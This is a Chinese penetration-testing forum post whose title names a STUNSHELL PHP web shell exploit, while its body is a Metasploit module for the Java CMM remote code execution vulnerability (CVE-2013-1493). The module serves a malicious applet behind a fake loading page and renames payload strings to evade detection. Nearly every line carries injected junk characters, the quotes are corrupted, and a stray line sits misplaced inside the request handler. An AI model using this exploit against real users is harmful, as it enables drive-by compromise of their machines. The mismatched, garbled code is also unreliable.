中国网络渗透测试联盟

标题: STUNSHELL PHP Web Shell远程执行代码 [打印本页]

作者: admin    时间: 2013-4-4 17:31
标题: STUNSHELL PHP Web Shell远程执行代码
##1 V- e# Q7 C! o# Q
0 X3 M, K; e, K2 h$ v  s/ h
# This file is part of the Metasploit Framework and may be subject to
, B/ m1 [6 d' [8 J8 g5 d# redistribution and commercial restrictions. Please see the Metasploit
% e# y7 l/ s# f# web site for more information on licensing and terms of use.
' y/ Q) z. G9 X7 P1 f. ^# http://metasploit.com/
4 I2 e) U- H* P, z##! M+ p) ~! r6 [" D/ M2 O
require ‘msf/core’
5 z5 C. t0 S% G- qrequire ‘rex’8 c4 C+ f1 Y  ?( s
class Metasploit3 < Msf::Exploit::Remote% P* U, j4 V7 x7 u
Rank = NormalRanking
4 m) A+ _' _% xinclude Msf::Exploit::Remote::HttpServer::HTML
) f- x9 M9 c0 ?& Finclude Msf::Exploit::EXE
2 W* \2 f0 \2 v. {* D/ c+ uinclude Msf::Exploit::Remote::BrowserAutopwn
7 y5 H& ~5 t6 `4 D* Oautopwn_info({ :javascript => false })
# N* x3 k6 \- G/ A3 F+ K0 adef initialize( info = {} )7 {* Q$ j2 g8 b1 V6 F# N, p
super( update_info( info,6 j; y! O* |! t  ~" f
‘Name’ => ‘Java CMM Remote Code Execution’,
2 v+ y6 }+ [9 A) q! P3 o$ l‘Description’ => %q{
! ]( }$ M) L: q# I! q( h( [) u5 M; XThis module abuses the Color Management classes from a Java Applet to run3 E3 s4 _8 F8 E  y
arbitrary Java code outside of the sandbox as exploited in the wild in February5 s' {8 ]6 \7 r' K/ F! a
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
9 G; p6 A6 W& `3 b2 q& vand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1% i) S/ }& K1 e1 ?9 T. I6 B
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java0 F& z9 ]( B! A0 v+ p) j9 M( S
warning in order to run the malicious applet.
  H" @3 U. c: |9 V' r3 M* x},
( {8 }% ^. Y  o$ \2 @‘License’ => MSF_LICENSE,
7 I4 _, M$ J& {0 |‘Author’ =>
" }0 X) n7 F/ E" h! E9 N: R0 G'Unknown', # Vulnerability discovery and Exploit
( l' n( ]" f  J0 p5 w'juan vazquez' # Metasploit module (just ported the published exploit)
7 V4 v/ p+ N2 S' |& c; Y4 n* O],4 g! y, c1 t$ r) u' s
‘References’ =>" H0 H1 }; i' ^
[. Y) n* P2 I0 R# ]; K4 v& N: H  H
[ 'CVE', '2013-1493' ],
& K/ _' h2 Q2 p, o[ 'OSVDB', '90737' ],! ]* _# a! _  }' l  Y, f) Q
[ 'BID', '58238' ],
, s  p% }: T; ]5 H4 N" d[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
- p( j3 G' x2 u) N$ @# D[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
9 t/ O. j; M' u+ N, i; \0 F[ 'URL', 'http://pastie.org/pastes/6581034' ]
# l! z5 @" b& q7 a],& Z) g, T, v9 E9 m* W7 n1 x$ w
‘Platform’ => [ 'win', 'java' ],
3 x# W! o% ^) g. y6 q‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },8 ^# g0 p  A. Z; t% t* {3 z( ]
‘Targets’ =>+ S  r. ~2 @0 h4 M" T
[
& _0 J) ?$ p7 Z0 [% e& v' a2 `" s[ 'Generic (Java Payload)',
2 A& q0 ?- `6 S( i" _8 A{
5 j0 K! q. `6 z+ Y'Platform' => 'java',1 V: h: Z; _% H/ A* Z3 I
'Arch' => ARCH_JAVA! e+ W  z- x5 R
}
& e) ^; t! C. G) a* t1 W],& L# \7 O; i' \+ o0 X/ ~  d' a
[ 'Windows x86 (Native Payload)',8 {5 P9 C6 {( q. B
{
6 ?1 Q) h% T2 U) k* a1 P- g'Platform' => 'win',( t: Q* ]5 q8 H8 X8 Z8 i" z
'Arch' => ARCH_X86
9 D3 q0 I% D; L3 E4 F8 D( L* B}
5 R3 h$ i6 _( U/ }1 x' n7 H]
- t1 O6 U( l0 @4 c* B],, K+ y% ?2 _9 X" y3 n. J
‘‘DisclosureDate’ => ‘Mar 01 2013′
0 a. f2 k$ D7 O3 f  F))* G$ b* i4 B( N' t2 V( E( k8 p  n
end) ?7 c* k9 f/ C0 m/ V
def setup  f7 L0 e: G8 v4 g
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
, X, K; v- q  h@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }$ B6 K3 }; i0 R' Q& |
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)5 Z) g+ _- p& c# Y
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
6 D9 i3 a  s2 m" V. @8 ?path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”): x8 l* D% u/ ]
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }, D5 s2 |/ f; k) Y% X" k
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
+ g7 y; Z$ B3 l3 q' D( ^@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }% z: X5 V4 m4 c! F4 _8 ]9 P$ Z  k! W
@init_class_name = rand_text_alpha(“Init”.length)8 [8 Z" x8 s% G1 G- }9 c
@init_class.gsub!(“Init”, @init_class_name)
1 g. N1 M& |* ]& U) b& B1 ^  ~super
- @* e, H* S0 ]$ U& cend# M6 [" A  i, g1 I+ k" P
def on_request_uri(cli, request)0 {2 e6 i7 I6 L: G0 ]8 q% ?; o
print_status(“handling request for #{request.uri}”)" L8 o2 F7 i& F) c9 k+ O0 a
case request.uri. {) B  e1 f; T3 n
when /\.jar$/i
( x% i( b0 j- \+ |, m. Zjar = payload.encoded_jar
0 i* H1 u7 b; ]jar.add_file(“#{@init_class_name}.class”, @init_class)  N$ j, W& F6 l3 q. ^9 U! N
jar.add_file(“Leak.class”, @leak_class)1 `. ?, ~6 g& k6 Z3 P3 d9 ]
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)# C' g  b  ~! C% {* _- w
jar.add_file(“MyColorSpace.class”, @color_space_class)
+ b3 N" I; G' Q6 v4 O2 ~DefaultTarget’ => 1,7 L2 m* d- l# }4 L
metasploit_str = rand_text_alpha(“metasploit”.length)* i  T/ K# G8 P) N" M: C0 L
payload_str = rand_text_alpha(“payload”.length)( r) ^( M  m% ]" G8 G
jar.entries.each { |entry|* v; L7 K7 E! z' T% \9 B( d
entry.name.gsub!(“metasploit”, metasploit_str)6 [; W& y4 h$ f. {, N$ k2 J2 M
entry.name.gsub!(“Payload”, payload_str)) m2 l/ h- ~5 Y7 D& H# R/ g
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
; [! \3 p  E4 M- Aentry.data = entry.data.gsub(“Payload”, payload_str)- B0 G8 [/ ?7 s/ k' ]6 H  q$ X
}
- n" v2 ]' T% q5 J5 \6 p2 c0 ?2 fjar.build_manifest: x+ M5 R0 w/ p# i
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
6 I3 I1 z5 }1 [, _5 Nwhen /\/$/
3 @+ d; k5 A2 t" }& M1 Kpayload = regenerate_payload(cli): V9 ]- {( B3 C: I6 z
if not payload
8 C% u5 V" q7 a. B% V/ X' n7 p5 j1 Hprint_error(“Failed to generate the payload.”)  a* u5 y4 A3 g9 w; i: ~0 W( v
send_not_found(cli)
1 u# E' I; m. G% `* G7 ]return2 l# T1 [. x0 W
end  j' \2 Q0 x2 x+ n0 x6 z0 H
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })/ N% w6 n& s! Z1 v
else3 d  {3 f. L; Q) G
send_redirect(cli, get_resource() + ‘/’, ”)
/ V8 N9 F& ^3 O0 ~6 m) Pend
& Y# E! Q; @8 Cend
/ `/ k$ K) i$ m5 j) p6 Adef generate_html
* ?. j( x  ^. `6 ehtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|9 ^8 v% V8 ?0 X- d' E  D5 w
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|; y; H- L. G) I% S) w
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
7 w! Y) z1 c  C( bhtml += %Q|</applet></body></html>|
: n$ i' s+ j4 h+ n8 V& |return html' K/ X0 W! c' _- E, b' P' ]# a
end
- A' g7 C. d+ a/ V2 e. {6 Iend. N( z. E0 T) ?) C6 X# }! O, V4 I
end
+ M6 ~& _. D+ ~4 C3 J




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2